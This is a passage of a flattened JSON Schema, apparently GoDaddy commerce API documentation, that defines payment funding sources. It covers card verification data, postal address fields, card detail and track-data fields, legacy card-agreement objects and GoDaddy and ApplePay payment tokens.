"string", - "minLength": 6, - "maxLength": 6, - "description": "EVoucher Approval code if used with Electronic Voucher" - } - }, - "required": [ - "cardDetail", - "cardType" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/godaddy-payment-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy Payment Token", - "description": "GoDaddy Card-on-file Funding source", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", - "description": "Payment Token Funding source", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true, - "x-sensitivity": { - "classification": "restricted" - }, - "x-propagation": { - "optional": true - }, - "x-field-extra-annotation": "@com.fasterxml.jackson.annotation.JsonIgnore" - }, - "cardDetail": { - "description": "Card that was used with the Godaddy payment token", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } - }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", - "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" - }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" - } - }, - "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", - "$defs": { - "LegacyCardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "LegacyCardAgreementMetadata": { - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." - }, - "LegacyCardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "LegacyCardKeyData": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - }, - "LegacyCardType": { - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - } - }, - "properties": { - "cardAgreement": { - "type": "object", - "properties": { - "agreedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was agreed." - }, - "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." - }, - "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "declinedOn": { - "type": "string", - "format": "date-time", - "description": "Timestamp for when this agreement was declined." - }, - "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." - }, - "id": { - "type": "string", - "description": "UUID of the card agreement." - }, - "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } - }, - "status": { - "type": "string", - "description": "[Required] The type of card agreement status.", - "enum": [ - "ACCEPTED", - "DELETED", - "INACTIVE" - ] - }, - "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." - }, - "updatedAt": { - "type": "string", - "format": "date-time" - }, - "version": { - "type": "integer", - "description": "The version of agreement." - } - }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] - }, - "cardBrand": { - "type": "object", - "properties": { - "brand": { - "type": "string" - }, - "createdAt": { - "type": "string", - "format": "date-time" - }, - "displayName": { - "type": "string", - "minLength": 3, - "maxLength": 50 - }, - "id": { - "type": "string" - }, - "issuerBank": { - "type": "string", - "maxLength": 150 - }, - "logoUrl": { - "type": "string" - }, - "scheme": { - "type": "string" - } - }, - "description": "This object represents CardBrand." - }, - "cardHolderFullName": { - "type": "string", - "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 - }, - "cardId": { - "type": "string", - "description": "The uuid of the card created" - }, - "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." - }, - "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." - }, - "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." - }, - "id": { - "type": "integer", - "description": "The id of the card created." - }, - "issuer": { - "type": "string" - }, - "key": { - "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", - "items": { - "type": "object", - "properties": { - "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] - }, - "version": { - "type": "string", - "description": "Version of the key.", - "maxLength": 4 - } - } - } - }, - "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." - }, - "numberHashed": { - "type": "string" - }, - "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." - }, - "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", - "enum": [ - "AMERICAN_EXPRESS", - "EBT", - "BANCOMAT", - "DISCOVER", - "MAESTRO", - "GOPAY", - "DINERS_CLUB", - "JCB", - "ALIPAY", - "MASTERCARD", - "DANKORT", - "OTHER", - "PAYPAL", - "INTERAC", - "UNIONPAY", - "VISA", - "BANKAXEPT" - ] - } - } - } - }, - "required": [ - "type", - "number", - "source" - ] - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/applepay-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePay Payment Token", - "type": "object", - "description": "ApplePay Funding source", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-token.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Payment Token Funding Source", - "type": "object", - "description": "Payment Token Funding source", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", - "description": "Verification data for the card used as funding source", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } - } - }, - "required": [ - "countryCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", - "description": "Verification data for the token used as funding source", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schema/common/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", - "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border 